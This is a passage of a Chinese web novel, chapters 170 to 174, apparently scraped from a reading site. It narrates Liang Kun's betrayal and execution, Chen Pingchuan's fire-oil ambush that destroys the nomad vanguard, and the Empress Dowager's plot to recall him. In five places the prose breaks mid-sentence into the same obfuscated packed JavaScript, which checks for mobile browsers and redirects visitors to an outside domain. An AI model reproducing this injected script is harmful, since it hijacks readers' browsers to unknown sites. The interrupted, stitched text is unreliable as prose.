城墙上,火把通明,巡逻的士兵,脚步声清晰可闻。 梁坤换上了一身不起眼的夜行衣,脸上蒙着黑布,在他心腹的带领下,悄悄地来到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012692|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西城墙的偏僻角落。 那个被他收买的队正,早就在这里等候了。 “梁大人,都安排好了。”队正谄媚地笑着,露出一口黄牙。 “那水门年久失修,我今晚特意安排了自己人值守,您从那里出去,神不知鬼不觉。” “好!做得好!” 梁坤从怀里掏出一张百两银票,塞到他手里。 “这是给你的。事成之后,少不了你的好处!” “谢大人!谢大人!” 队正接过银票,笑得眼睛都眯成了一条缝。 在队正的引领下,梁坤几人,来到了一个散发着恶臭的铁栅栏门前。 这就是水门。 是平日里,城内污水排出城外的通道。 队正用钥匙打开了沉重的铁锁。 “大人,从这里出去,外面就是护城河。河水不深,趟过去就是城外了。” 梁-坤看着那黑漆漆,散发着恶臭的河水,胃里一阵翻江倒海。 但为了活命,他也顾不上那么多了。 他回头看了一眼灯火通明的顺城,眼中闪过一丝幸灾乐祸。 “陈平川,你就跟这座死城一起完蛋吧!嘿嘿!” 他不再犹豫,猫着腰,钻进了水门。 冰冷而肮脏的河水,瞬间淹没了他的小腿。 他强忍着恶心,在心腹的搀扶下,一步步向对岸趟去。 就在他即将上岸的那一刻。 周围的草丛里,突然亮起了无数火把! 数十名手持弯刀的蛮族骑兵,从黑暗中冒了出来,将他们团团围住。 为首的一名蛮族将领,看着浑身湿透,狼狈不堪的梁坤,脸上露出了猫捉老鼠般的戏谑笑容。 “呵呵,等了你半天了,梁大人。” “我们大首领,有请!” 梁坤的脑子,“嗡”的一声,一片空白。 他双腿一软,直接瘫倒在了泥水里。 “被……被发现了?” 他怎么也想不通。 自己的计划,如此周密,怎么会被蛮子知道? 难道…… 他猛地回头,看向城墙上的那个队正。 只见那个队正,正对着蛮族将领,点头哈腰,脸上依旧是那副谄媚的笑容。 梁坤瞬间明白了。 自己被卖了! 这个队正,不仅收了他的钱,还收了蛮子的钱! 两头通吃! “你……你……” 梁坤气得一口血差点喷出来。 他感觉自己,就像一个天大的傻瓜,被人**于股掌之上。 几名蛮族士兵,如狼似虎地冲了上来,将他粗暴地从地上拖起,捆得像个粽子。 梁坤的逃亡路,才刚刚开始,就已经走到了尽头。 第170章 用他威胁我?我只当他是条狗! 蛮族大营,中军帐。 塔尔罕高坐主位,面无表情地看着被拖进来的梁坤。 此刻的梁坤,早已没了往日的威风。 他浑身泥水,瑟瑟发抖,像一只落水狗,连头都不敢抬。 “你就是梁坤?” 塔尔罕开口,声音不大,却带着一股不容置疑的威严。 “是……是……小人就是梁坤……” 梁坤吓得魂不附体,连忙跪在地上,磕头如捣蒜。 “大首领饶命!大首领饶命啊!” 帐内的其他蛮族将领,看着他这副奴颜婢膝的样子,都发出了不屑的嗤笑声。 这就是大业朝的官员? 这就是太后的亲族? 简直连条狗都不如。 塔尔罕的眼中,也闪过一丝鄙夷。 被他收买的队正说,这家伙是个大官,他以为是什么了不得的人物。 没想到,只是一个贪生怕死的软骨头。 “抬起头来。”塔尔罕淡淡地说道。 梁坤不敢不从,战战兢兢地抬起头。 “我问,你答。” “是,是!小人一定知无不言,言无不尽!” “顺城现在,还有多少兵力?” “回……回大首领,城里,城里总共只有三千兵马。前几天出城打了一仗,**三百多。” 梁坤为了活命,毫不犹豫地将城里的虚实,和盘托出。 “哦?两千多人?”塔尔罕眉毛一挑,“陈平川就凭这点人,也敢守城?” “他……他就是个疯子!狂妄自大的疯子!” 梁坤连忙添油加醋地诋毁陈平川。 “城里的粮食也快吃完了,百姓们都人心惶惶,他现在就是外强中干,硬撑着罢了!只要大首领您一声令下,大军一到,顺城唾手可得!” 梁坤说得口沫横飞,为了活命,甘做蛮族最忠诚的走狗。 他把所有他知道的,不知道的,猜到的,全都说了出来。 几乎没有用任何刑罚。 甚至,塔尔罕连声音都没有提高半分。 帐内的蛮族将领们,看着他的眼神,更加鄙夷了。 连被他们抓来的汉人百姓,骨头都比这个当官的硬。 “很好。” 塔尔罕点了点头,似乎对他的回答很满意。 梁坤心中一喜,以为自己能保住小命了。 “拉出去,砍了!” 塔尔罕摆摆手,像杀一条狗一样。 梁坤顿时傻眼,他挣脱开士兵,哭叫着:“大首领,不要杀我!我……我还有用!我可以帮您劝降!陈平川手下的那些官员,都和我交好,只要我出面,他们肯定会开城投降的!” “哦?”塔尔罕玩味地看着他,“你这么肯定?” “肯定!肯定!”梁坤拍着胸脯保证。 “好。”塔尔罕站起身,“那我就给你一个机会。” …… 第二天一早。 蛮族的战鼓声,再次在顺城外响起。 但这一次,他们没有发动攻击。 而是将一个狼狈的人影,推到了阵前。 正是梁坤。 他被绑在一根木桩上,嘴里塞着破布,只能发出“呜呜”的声音。 城墙上,陈平川带着赵莽等人,冷冷地看着这一幕。 塔尔罕骑着高头大马,来到城下,朗声喊道。 “城上的陈平川,听着!” “你的人,现在在我手上!” “我给你一个时辰的时间,立刻开城投降!否则,我就拿他的脑袋,来祭我的战旗!” 他的声音,传遍了整个战场。 城墙上的士兵们,都露出了紧张的神色。 他们都认识梁坤,知道他是朝廷派来的监军。 现在监军被抓了,这可如何是好? 陈平川却像是没听见一样,甚至还打了个哈欠。 他对着身边的赵莽,懒洋洋地说道。 “赵将军,你说这蛮子,是不是脑子不好使?” “抓了这么个玩意儿,就想让我们投降?他当我们是什么人?也跟这姓梁的一样,是软骨头吗?” 他的声音不大,但足以让周围的士兵都听清楚。 士兵们闻言,都忍不住笑了起来。 是啊。 拿梁坤这种贪生怕死的家伙来威胁我们? 简直是天大的笑话! 城下的塔尔罕,见城头的陈平川的反应如此平静,眉头皱了皱。 他命人拿掉了梁坤嘴里的破布,给他一炷香的工夫说服陈平川开城投降,否则人头落地。 梁坤一得到自由,立刻就用尽全身力气,对着城墙,哭喊起来。 “陈大人!陈大人救我啊!” “我们都是朝廷的命官,你不能见死不救啊!” “快开城门!快投降吧!蛮族大军是不可战胜的!” “只要投降了,大家都能活命啊!” 他的哭喊,凄惨无比,听得城墙上的一些官员,都有些于心不忍。 陈平川终于走到了城垛边,居高临下地看着他。 “梁坤。” 他的声音,很平静。 “你好歹也是太后娘娘的亲戚,是朝廷的三品大员。能不能要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012693|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点脸?” “被人抓了,就该有被人抓了的觉悟。” “你要是还有点骨气,就该学学人家话本里的英雄好汉,咬舌自尽,或者一头撞死在石头上,也算为国尽忠了。” “现在这样哭哭啼啼,摇尾乞怜,你不嫌丢人,我都替朝廷,替太后娘娘感到丢人!” 陈平川的话,骂得梁坤,脸色一阵青一阵白。 “你……你……” “你什么你?”陈平川不屑地打断他。 “我告诉你,今天,就算塔尔罕抓的是我亲爹,这顺城,我也不会开!” “因为我身后,是顺城十几万百姓!是上千名愿意为我,为这座城,流血牺牲的兄弟!” “我绝不会拿他们的性命,去换你这么一个废物的狗命!” “你不是想活吗?可以啊。” “你跪下来,求求塔尔罕。告诉他,你愿意当他的狗。说不定,他一时心软,还能饶你一命。” “你……你混蛋!陈平川!你不得好死!” 梁坤被骂得气急败坏,终于露出了他怨毒的本性。 “我做鬼也不会放过你!” “好啊。”陈平川笑了。 “那你现在就去做鬼吧。” “正好,黄泉路上,你还能给这些蛮子们,探探路。” 说完,他便不再理会梁坤,转身对身后的将士们高喊。 “将士们!” “今天,就让城外的蛮子们看看,我们顺城军民,宁死不降的决心!” “吼!” 城墙上,数千将士,齐声怒吼,声震云霄。 城下的塔尔罕,脸色已经难看到了极点。 他知道,自己失算了。 梁坤这个废物,非但没有起到任何作用,反而成了陈平川激励士气的工具。 留着他,已经没有任何意义了。 塔尔罕的眼中,闪过一丝杀机。 他对着身边的将领,冷冷地挥了挥手。 那将领会意,抽出弯刀,大步走向梁坤。 梁坤看到那闪着寒光的弯刀,吓得屁滚尿流,裤裆里一片湿热。 “不……不要杀我!不要杀我!” “大首领!我还有用!我真的还有用啊!” 他疯狂地挣扎着,哭喊着。 但,已经晚了。 噗嗤! 手起刀落。 一颗大好的人头,冲天而起。 鲜血,染红了阵前的土地。 梁坤,这个阴险狡诈,作恶多端的奸臣。 最终,以一种最**,最不堪的方式,结束了他罪恶的一生。 第171章 欢迎来到,地狱火海! 梁坤**,陈平川的表情反而更加凝重。 他知道,一场不死不休的大战,即将来临。 塔尔罕用梁坤的血,祭了旗。 这代表着,他已经下定了总攻的决心。 “呜——呜——呜——” 苍凉的号角声,在蛮族大营中响起。 数万蛮族大军,开始缓缓向前压进。 大地,在他们的脚步下颤抖。 黑色的浪潮,带着毁天灭地的气势,涌向了顺城。 “全军戒备!” 赵莽在城墙上,声嘶力竭地怒吼着。 士兵们握紧了手中的兵器,手心里全是汗。 即便是最勇敢的陈家军将士,面对如此庞大的敌军,也不免心生畏惧。 “大人,他们……他们朝西门去了!” 一名瞭望的士兵向这边大喊。 陈平川和赵莽对视了一眼,心中都是一动。 西门? 那里是防御最薄弱的地方。 蛮族是怎么知道的? 看来,梁坤那个蠢货,把城里的情况都告诉塔尔罕了。 “传令下去,所有人都不要慌。” 陈平川的声音,依旧镇定,他对此早有预案。 “各就各位,准备迎敌!” …… 蛮族的攻势,如**般展开。 无数简易的攻城梯,被架上了城墙。 蛮族士兵像蚂蚁一样,悍不畏死地向上攀爬。 城墙上,滚石,檑木,金汁,不要钱似的往下倒。 惨叫声,哀嚎声,响成一片。 城墙下,很快就铺满了厚厚一层尸体。 但后续的蛮族,依旧踩着同伴的尸体,疯狂地向上冲。 战斗,从一开始,就进入了白热化。 秃鹫部的首领,和苍鹰部的首领,此刻都杀红了眼。 他们是这次攻城的主力。 塔尔罕将最艰难的攻坚任务,交给了他们。 这让他们感到不满,但想到进城之后,他们可以首先抢掠财物,心里也平衡了一些。 而且那个叫梁坤的汉人已经把城里的底细都说清楚了。 兵力空虚,将无战心,民无斗志。 在他们看来,顺城已经是囊中之物,不会有任何意外。 只要冲进城去,胜利就属于他们! “草原的勇士们!冲啊!” “第一个登上城头的,赏牛羊百头,汉人女子十名!” 在重赏的刺激下,蛮族士兵的攻势,更加疯狂了。 他们甚至组织起了敢死队,推着巨大的攻城槌,冒着箭雨,猛烈地撞击着西门的城门。 轰!轰!轰! 厚重的包铁城门,在一次次的撞击下,发出了痛苦的呻吟。 城墙上,陈平川冷冷地看着这一切。 “火候,差不多了。”他喃喃自语。 他对着身边的赵莽,使了个眼色。 赵莽心领神会,悄悄地退了下去。 又过了一炷香的时间。 在蛮族士兵不计伤亡的猛攻下。 西门的城门,终于“支撑不住”了。 轰隆一声巨响! 一道巨大的裂缝,出现在城门上。 随后,整个城门,向内轰然倒塌! “城门破了!” “城门破了!” 城外的蛮族大军,爆发出震天的欢呼。 秃鹫首领和苍鹰首领,更是欣喜若狂。 “冲进去!给我杀!” “抢光他们的财宝!杀光他们的男人!” 他们已经等不及了。 甚至没有去请示塔尔罕的命令,就带着自己最精锐的亲卫骑兵,一马当先,冲向了那洞开的城门。 在他们身后,数千名蛮族士兵,如同决堤的洪水,争先恐后地涌了进去。 所有人的脸上,都带着贪婪和嗜血的狂热。 他们仿佛已经看到了城内堆积如山的金银,看到了瑟瑟发抖的汉人女子。 一场属于胜利者的狂欢,即将在他们手中上演。 …… 远处的高坡上。 塔尔罕静静地看着那洞开的城门,和蜂拥而入的族人。 他的眉头,却紧紧地皱了起来。 不对劲。 太顺利了。 顺利得有些反常。 以他对陈平川的了解,这个人,绝不会如此不堪一击。 西门的防御,怎么会如此轻易就被攻破? 就算兵力不足,也不至于连一个时辰都撑不住。 而且,城门破开后,城内竟然没有像样的抵抗。 这太奇怪了。 “大首领,我们赢了!” 一名亲卫兴奋地说道。 “我们是不是也该冲进去了?再晚点,好处都让秃鹫和苍鹰那两个家伙抢光了!” 塔尔罕没有说话。 他心中的不安,越来越强烈。 “传我命令!” 塔尔罕的声音,带着一丝凝重。 “让前军暂停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012694|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进攻,原地待命!” “没有我的命令,任何人,不准再进城!” “什么?”亲卫愣住了,“大首领,为什么啊?城都破了啊!” “快去!”塔尔罕的声音,陡然变得严厉。 亲卫不敢再多问,连忙去传令。 但,已经晚了。 秃鹫和苍鹰两个部落的数千名精锐,已经全部涌入了城中。 他们就像一群闻到血腥味的野狼,根本无法阻挡。 塔尔罕得到消息,长长地叹了一口气。 他知道,自己终究还是没能阻止这些被贪婪蒙蔽了双眼的蠢货。 他只希望,刚才的预感是错觉。 然而,事情往往是怕什么来什么! …… 秃鹫首领一马当先,冲进了顺城。 他想象中的激烈巷战,并没有发生。 映入眼帘的,是一条宽阔而空旷的长街。 街道两旁的房屋,门窗紧闭,死一般的寂静。 一个人影都没有。 “哈哈哈!汉人都吓破胆了!跑光了!” 秃鹫首领得意的大笑。 他身后的蛮族士兵,也跟着发出一阵阵哄笑,彻底放下了戒心。 他们开始四散分开,准备踹开那些紧闭的房门,享受劫掠的快感。 然而,就在此时! 异变突生! “放箭!” 一声冰冷的命令,从街道两旁的屋顶上响起。 刹那间,成百上千名陈家军的**手,从黑暗的角落里探出身来。 他们面无表情,手中的**,对准了街道中,那些惊慌失措的蛮族。 嗖嗖嗖嗖嗖! 密集的箭雨,从天而降! 没有任何躲避的空间。 没有任何反抗的余地。 街道上的蛮族士兵,就像是活靶子一样,被成片成片地射倒。 惨叫声,此起彼伏。 鲜血,瞬间染红了青石板路。 “不好!中计了!” 秃鹫首领的脸色,瞬间变得惨白。 他终于意识到了危险。 但一切,都太晚了。 “隐蔽!快隐蔽!” 他惊恐地大吼,试图躲到屋檐下。 但陈家军的射击角度,经过了精心的计算。 无论他们躲到哪里,都逃不过箭雨的覆盖。 这,就是一场单方面的**! 然而,这仅仅只是一个开始。 真正的噩梦,还在后面。 第172章 火龙吞街巷,惊雷碎敌胆 “上大家伙!” 屋顶上,再次传来命令。 只见一个个黑乎乎的陶罐,被士兵们从屋后搬了出来。 这些陶罐,正是秦王送来的“猛火油”! “扔!” 随着一声令下。 数百个陶罐,被同时点燃引线,然后朝着下方的街道,狠狠地扔了下去。 砰!砰!砰! 陶罐在地上碎裂开来。 里面粘稠的,黑色的液体,四处流淌。 紧接着,被点燃的引线,引爆了这些液体。 呼——! 一瞬间,整条街道,变成了一条火龙! 熊熊的烈火,冲天而起,高达数丈! 那些黑色的液体,沾到任何东西,都会疯狂燃烧。 无论是人,是马,还是盔甲。 “啊——!” 凄厉的惨叫声,响彻云霄。 无数蛮族士兵,瞬间被烈火吞噬,变成了在地上翻滚哀嚎的火人。 他们试图用水囊里的水去浇灭火焰。 但那火焰,遇水不灭,反而烧得更旺! 空气中,弥漫着一股刺鼻的焦臭味。 那景象,比最可怕的阿鼻地狱,还要恐怖百倍! 侥幸的蛮族,也被眼前这恐怖的一幕,吓得肝胆俱裂。 他们彻底崩溃了。 他们扔掉武器,哭喊着,像没头的苍蝇一样,四处乱撞。 有人试图从城门逃出去,结果被从天而降的黑油淋头,一把火丢下来,一个个都变成了惨叫的火人。 有人甚至想踩着同伴的尸体,爬上两边光滑的墙壁。 但,都是徒劳。 迎接他们的,是屋顶上,新一轮的箭雨。 和陈平川为他们准备的,最后的“惊喜”。 “震天雷,准备!” “放!” 十几颗黑色的铁疙瘩,冒着青烟,从天而降。 落入了那片火海和人群之中。 轰!轰!轰! 惊天动地的**声,接连响起! 每一次**,都像是一道旱地惊雷,震得整座顺城,都在微微颤抖。 巨大的冲击波,夹杂着无数的铁片和碎石,向四周横扫而去。 **中心,血肉横飞,残肢断臂,被炸得漫天都是。 那些还在哀嚎的蛮族,瞬间就被撕成了碎片。 **的巨响,和那冲天的火光,彻底击溃了他们最后的心理防线。 他们终于明白了。 这不是陷阱。 这是神罚! 是那个叫陈平川的恶魔,降下的神罚! 他们感受到了,最纯粹的,最彻底的绝望。 街道上,渐渐安静了下来。 只剩下火焰,还在“噼里啪啦”地燃烧着。 数千名草原上最精锐的勇士,就在这短短的一炷香时间内。 全军覆没。 尸骨无存。 屋顶上,陈平川静静地看着下方那如同炼狱般的场景,脸上没有任何表情。 战争,本就是你死我活。 对敌人的仁慈,就是对自己的残忍。 他要的,就是用这一场最彻底的胜利,打断蛮族的脊梁骨! 让他们从此以后,听到“陈平川”这三个字,就会吓得瑟瑟发抖! …… 城外的蛮族大营,陷入了一片死寂。 所有人都目瞪口呆地看着顺城西门的方向。 那冲天的火光,和接连不断的,如同天雷般的巨响,让每一个蛮族士兵,都感到头皮发麻。 他们不知道城里发生了什么。 但那从城中传来的,撕心裂肺的惨叫声,却清晰地告诉他们。 冲进去的同伴,正在经历着某种极其恐怖的事情。 高坡上,塔尔罕的脸色,已经难看到了极点。 密集的箭雨、吞噬一切的烈火、还有那毁天灭地般的**…… “好狠……好毒的计策……” 塔尔罕从牙缝里,挤出几个字。 他的心,在滴血。 那可是数千名精锐啊! 是秃鹫部和苍鹰部的全部家底! 就这么……没了? 被陈平川用一种近乎戏耍的方式,**殆尽! 他身后的亲卫和将领们,也都被吓傻了。 他们看着塔尔罕,眼神里充满了恐惧。 “大……大首领,怎么办?” 塔尔罕没有回答。 他心里知道,这一战,已经败了。 虽然他手下还有数万人,可是,士气低落到了极点,这还怎么打? 就在塔尔罕进退维谷之际。 顺城的南门和东门,突然大开! “杀——!” 山呼海啸般的喊杀声,从城内传出! 赵莽一马当先,率领着士气高昂的陈家军,如猛虎下山般,冲杀而出! 在他们的身后,还有数千名手持棍棒农具,双眼通红的顺城百姓! 他们被刚才的胜利,彻底点燃了血性! 他们要报仇! 为那些被蛮族杀害的亲人,报仇! 与此同时,在蛮族大营的侧后方。 也突然响起了一阵喊杀声! 是驻守鹰嘴关的军队,他们早已得到陈平川的密令,一直就埋伏在附近! 城内的火光便是信号,他们立即行动,神不知鬼不觉地绕到了蛮族的身后! 前后夹击! 腹背受敌! 蛮族大营,瞬间大乱。 那些原本还在观望的士兵,看到城内冲出的汉军,和侧后方突然出现的敌人,彻底慌了神。 塔尔罕面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012695|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色凝重。 冲进去的先锋部队,全军覆没。 现在,又被敌人内外夹击。 军心,已经散了。 “撤!” “全军撤退!” 他当机立断,下达了撤退的命令。 再打下去,只会让整个大军,都陷在这里。 他必须保存实力! 然而,想撤,又谈何容易? 陈家军的士兵,如同疯了一般,死死地咬住了他们。 那些顺城的百姓,更是悍不畏死,见人就打,见人就砍。 他们积压了太久的仇恨,在这一刻,彻底爆发了。 蛮族大军,瞬间陷入了全线的溃败。 他们扔掉兵器,脱掉盔甲,只恨爹娘少生了两条腿。 自相践踏,死伤无数。 赵莽率领的军队,和鹰嘴关的援军,像两把锋利的剪刀,不断地分割,收割着溃逃的蛮族。 战场,变成了一面倒的追杀。 塔尔罕在亲卫的拼死保护下,突出重围。 他回头看了一眼。 他的蛮族大营,此刻已经变成了一片火海。 无数的族人,在哀嚎,在奔逃,在被汉人无情地**。 他的心,像被刀割一样痛。 败了。 败得如此之快,如此之惨,如此之彻底。 他精心策划的围城战,焦土战术,在陈平川那神秘武器和狠辣计谋面前,成了一个天大的笑话。 “陈平川……” 塔尔罕死死地攥着拳头,将这个名字,刻进了骨子里。 他知道,自己和陈平川的差距,不在于智谋,而在于格局和手段。 陈平川可以为了胜利,不择手段,将数千敌军,诱入陷阱,活活烧死。 而他,却无法约束自己那些贪婪愚蠢的盟友。 一盘散沙! 这就是部落联盟的致命弱点! 只要各个部落还心怀鬼胎,各自为战,他们就永远不可能战胜团结一心的汉人! “我明白了……” 塔尔罕的眼中,闪过一丝冰冷而坚定的光芒。 “想要打败汉人,就必须统一草原!” 这场惨败,没有击垮他。 反而,让他找到了自己未来的方向。 他要回去。 他要用最残酷的手段,统一所有的部落! 他要建立一个前所未有,令行禁止的强大汗国! 成为整个草原,唯一的主人! 到那时,他会带着一支真正的大军,卷土重来。 他要让陈平川,让整个大业朝,都在他的铁蹄下,瑟瑟发抖! “我们走!” 塔尔罕拨转马头,头也不回地向着北方草原的深处,疾驰而去。 身后,是草原勇士们,绝望的哀嚎。 第173章 捷报震宫阙,暗流涌杀机 顺城大捷! 以三千之师,大破五万蛮族精锐! 阵斩敌军近万,俘虏数千! 蛮族联军统帅塔尔罕,狼狈逃窜! 缴获牛羊马匹,兵器粮草,蛮族奴隶不计其数! 这个消息,以八百里加急的速度,传回了京城。 整个大业朝,举国震动! 京城,彻底沸腾了! 上一次听到如此酣畅淋漓的大捷,是什么时候? 好像还是几十年前,先帝在位的时候吧? 这些年,边境战事,向来是输多赢少。 割地,赔款,和亲。 这些词,早就成了悬在所有大业朝人心头的一块巨石,压得人喘不过气来。 现在,终于赢了! 而且是如此辉煌,如此不可思议的一场大胜! 茶楼酒肆,街头巷尾,所有人都在议论着这场胜利。 议论着那个如彗星般崛起的名字。 陈平川! 新科状元,翰林修撰,皇帝钦差,顺城知州。 这个年轻人的履历,被人们翻来覆去地传颂,几乎带上了一层神话色彩。 “听说了吗?陈大人用的是天神传下的阵法,刀枪不入!” “什么阵法?我听说,陈大人是文曲星下凡,他口含天宪,一声令下,就有天雷地火降下,把那蛮子烧得哭爹喊娘!” “没错没错!我三舅姥爷的二表哥就在顺城当差,他亲眼看见的!那火,用水都浇不灭!” 传言越传越玄乎。 陈平川,在百姓的心中,已经从一个有才华的状元郎,变成了一个能呼风唤雨,撒豆成兵的在世神仙。 …… 皇宫,金銮殿。 景帝拿着手中的捷报,反复看了十几遍。 脸上的笑容,是登基以来,从未有过的灿烂与开心。 “好!好!好啊!” 他一连说了三个“好”字,激动地从龙椅上站了起来。 “陈平川!朕的状元!朕的爱卿!果然没有让朕失望!” 他环视着殿下的文武百官,声音因为激动而微微颤抖。 “众卿都看到了吗?这就是我大业朝的栋梁!有此等良臣在,何愁蛮夷不平,国祚不兴!” 他说话的时候,眼睛一直盯着国舅梁越。 那眼神,充满了挑衅和得意。 仿佛在说:看到了吗?这就是我提拔的人! 你的人呢?只会****,丧权辱国! 梁越的脸色,阴沉得能滴出水来。 他身后的梁党官员们,一个个也都低着头,表情像是吃了死苍蝇一样难看。 他们之前还在嘲笑陈平川是不自量力,去顺城就是送死。 结果,人家不仅没死,还立下了这等不世之功! 这让他们以后,还怎么在朝堂上,攻击景帝无人可用? 大学士**,站在百官前列,深感欣慰。 “陛下圣明!陈大人乃国之干城!此战大涨我朝声威,臣,为陛下贺!为大业贺!” 他躬身下拜,老眼中满是激动的泪水。 “臣附议!” “为陛下贺!为大业贺!” 支持景帝和**的官员们,纷纷下拜,山呼万岁。 一时间,金銮殿上,形成了泾渭分明的两个阵营。 一边是兴高采烈,与有荣焉。 一边是脸色铁青,如丧考妣。 景帝看着眼前这一幕,心中涌起一股前所未有的豪情。 他觉得,自己终于可以挺直腰杆,做一个真正的皇帝了! …… 慈宁宫。 气氛,与金銮殿的喜庆,截然相反。 冰冷,压抑。 梁太后坐在凤椅上,手中那串名贵的珍珠,被她捏得咯咯作响。 地上,是摔得粉碎的茶杯。 梁越与几名梁党站在一旁,连大气都不敢喘。 “谁能告诉哀家,这到底是怎么回事?!” 梁太后终于开口,声音像刀子。 “你们当初是怎么跟哀家保证的?” “说那陈平川,到了顺城,不出三月,必定身败名裂,死无葬身之地!” “结果呢?!” “他不仅没死,还立下了泼天的大功!现在,全天下的百姓,都快把他当成活神仙了!” “他现在手里有兵,有钱,有民心,有威望!再让他这么发展下去,这天下,到底还姓不姓梁?” 梁越把头埋得更低了。 “妹妹息怒……臣……臣也没想到,他竟然……” “你没想到?”梁太后冷笑一声,“你没想到的事情,多着呢!” “现在皇帝的翅膀,也硬了!今天在朝上,他敢当着文武百官的面,给身为哀家哥哥的你脸色看了!” “再这么下去,咱们还能像现在这样,安安稳稳坐在这里,都不好说了!” 梁越吓得浑身一哆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012696|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗦。 “妹妹,不至于此,不至于此吧……” “不至于?”梁太后猛地一拍桌子,“哀家看,很快就至于了!” 她站起身,在殿内来回踱步,眼中闪烁着狠毒的光芒。 “陈平川,此子,绝不能再留!” “更不能让他,继续待在顺城!” “他在那里多待一天,他的势力就壮大一分,我们就危险一分!” 梁越心中一动,试探着问道。 “妹妹的意思是……” “传哀家懿旨!” 梁太后的声音,冰冷而决绝。 “不,用皇帝的名义!” “命顺城知州陈平川,即刻放下手中一切军政要务,火速回京!” “就说,朝廷要对他进行封赏,让他回京,当面聆听圣训!” 梁越的眼睛,一下子亮了。 明面上,是封赏。 实际上,是夺了他的兵权! 只要陈平川一离开顺城,那支所谓的“陈家军”,群龙无首,还不是乖乖听他们调遣? 到时候,是安插亲信,还是就地解散,都只在他们一念之间。 “妹妹英明!”梁越由衷地赞叹。 “哼。”梁太后冷哼一声,“皇帝是哀家的儿子,他怎么想的,哀家都知道!跟哀家斗,他不是对手!” “至于那个陈平川……” 她的眼中,杀机毕露。 “只要他回到京城,就等于龙游浅水,虎落平阳。” “到时候,哀家有一百种方法,让他死得悄无声息!” …… 顺城。 全城军民,还沉浸在大胜的喜悦之中。 陈平川正在和赵莽、刘四海等人,商议着下一步的计划。 “塔尔罕虽然败了,但其主力未损,此人枭雄心性,绝不会善罢甘休。” 陈平川指着地图。 “我们必须趁他元气大伤,人心不稳之际,乘胜追击!” “出关!主动出击!将战火,烧到草原上去!” “彻底打掉他们的气焰,换我大业边境,至少十年安宁!” 赵莽和刘四海等人,听得热血沸腾。 “大人说得对!就该这么干!” “哈哈,开疆拓土,这可是天大的功劳啊!” “末将愿为先锋!” 然而,就在此时。 “圣旨到——” 一声尖利高亢的唱喏声,从府衙外传来。 第174章 龙游浅水?不,是猛龙过江! 只见一队风尘仆仆的京城禁军,簇拥着一名中年太监,走进了大堂。 那太监手捧黄绫圣旨,面无表情。 赵莽和李四海还以为是嘉奖陈平川的圣旨,结果三人听完内容,都愣住了。 火速回京,不得有误? 陈平川接过圣旨,他缓缓地抬起头,望向京城的方向。 眼中,是无尽的冰冷和失望。 他知道,自己终究,还是成了大业朝的岳飞…… 全城的百姓和将士们,听闻消息,都自发地围了过来,将府衙堵得水泄不通。 “不能让陈大人走!” “陈大人走了,我们怎么办?” “大人!您别走啊!” 赵莽双拳紧握,虎目含泪,看着陈平川,嘴唇翕动,却一个字也说不出来。 种种情绪,涌上心头。 遗憾,不甘,愤怒。 眼看就要蛮族彻底荡平,却功亏一篑,怎能让人不恨?! 陈平川转过身,看着那些质朴而真诚的面孔,看着那些与他生死与共的将士。 他深吸一口气,缓缓地举起了手。 喧闹的人群,渐渐安静了下来。 他什么也没说。 只是对着所有人,对着这座他用鲜血和智慧守护的城市。 深深一揖。 陈平川这一躬,久久没有起身。 府衙外,人山人海,鸦雀无声。 所有人都看着他,看着这个为顺城带来新生,带来希望的年轻人。 